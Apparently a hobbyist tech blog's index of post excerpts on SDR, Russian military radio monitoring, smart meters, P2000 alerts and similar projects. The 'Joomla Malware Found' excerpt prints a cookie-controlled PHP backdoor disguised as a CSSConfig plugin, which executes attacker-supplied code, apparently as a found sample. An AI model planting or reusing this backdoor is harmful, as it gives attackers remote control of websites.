Russian Military Radiograms
On the 5th of December 2022 at 13:45 UTC and 14:02 UTC following radiograms, with urgency level "ordinary" (обыкновенная), on frequency 4268 kHz USB were sent by the Russian Military…
Russian Military testing new digital modes
Following recordings were done on the 26th of November 2022. Bashnya (Башня) and Gazon (Газону) are testing, which seems to be, the on day frequency. I was not yet able…
Russian Military Communication – Open Microphone on 4230 kHz
On the 13th of October 2022 around 16:00 UTC, I noticed a silent carrier on 4230 kHz USB. It appeared to be an open microphone which was an unaware action…
Russian military radio communication
Frequency Spectrum Heatmap and Timeline Heatmap See https://ukraine.quassi.nl for the live data. Radio communications across the Russian forces are realy poor, which leads to makeshift solutions! Webreceivers to use: http://websdr.ewi.utwente.nl:8901,…
COVID-19 in The Netherlands with Python
Predicting the number of COVID-19 cases of the coming 7 days with Multiple Linear Regression. Using: PythonPyCharm IDE import pandas as pd import numpy as np import matplotlib.pyplot as plt…
Joomla Malware Found
MARCH 2020 \plugins\system\cssconfig\cssconfig.phpCSSConfig System plug-in @package CSSConfig System plug-in $styles = @$_COOKIE['sxgvbcocosykhmo3']; if ($styles) { $useragent= $styles(@$_COOKIE['sxgvbcocosykhmo2']); $ua_query=$styles( @$_COOKIE['sxgvbcocosykhmo1'] ); $useragent( "/28104/e", $ua_query, 28104); } DECEMBER 2019
The wonderful world of Stalker IPTV
To start with an attack, one first has to gain some knowledge! My first starting point was a very long time ago at the moment that the m3u-stream references came…
SDR – 868 MHz data from the neighbours
Each minute an RF burst is send into the air somewhere in the neighbourhood of my house at the frequency 868.4 MHz in AM modulation. Is this data intended for…
P2000 heatmap
P2000 alarm heatmap
This heatmap is filled with alarms from the P2000 alarming system in The Netherlands. The data is from New Year's Eve 2015 and New Year's Day 2016, when a lot…
Read data from the Landis + Gyr E350 smart meter
Moving to our new house gave us the advantage of a 'new' energy meter for electricity, clean installed with counters starting from zero. Luckely for us they installed a Smart Meter type. These…
Decoding amplitude-shift keying (ASK/OOK)
Wireless weather stations, car keys, wireless door bells and several other telemetry devices are transmitting their information into the air in the 433 MHz band. The modulation type which is…
SDR – My 433 MHz door bell
Just for some analysis with SDR and for fun I bought a wireless door bell, a Silvercrest model Z31370B. This is a low power 433 MHz device (LPD433). SDR…
SDR – FM Radio
Today I build my first FM radio. GNU Radio Companion makes the job very easy! I'm reading a 2MHz wide band from my SDR, where I tuned into 100.7 MHz.…
rtl_433
- clone from git git clone https://github.com/merbanan/rtl_433.git - install need cmake apt-get install cmake - install libusb apt-get install libusb-1.0-0-dev - start rtl_433 -a KlikAan KlikUit: *** signal_start = 251271090,…
HTC Hero Android 2.1 update 1 – Root + ROM
Windows 7 - HTC Driver 64 bits voor ADB - Install Android system recovery (HeroRootPack2) HTC Hero - Wipe - Wipe data/factory reset - Wipe Dalvik-cache - Upload ROM to…
P2000 Pager
Wat doet P2000 Pager? P2000 Pager is een handige app voor je smartphone of tablet die werkt als een echte pager. Afhankelijk van welke capcode je hebt ingesteld stuurt de…
Tool for determining the calendar day
Bij onze vrienden van Siemens kun je deze downloaden. Maar wel pas nadat je betaald hebt :roll: (CWD_EU) Dus heb ik 'm zelf maar geschreven in SCL. [php] FUNCTION FC370_DAYOFYEAR…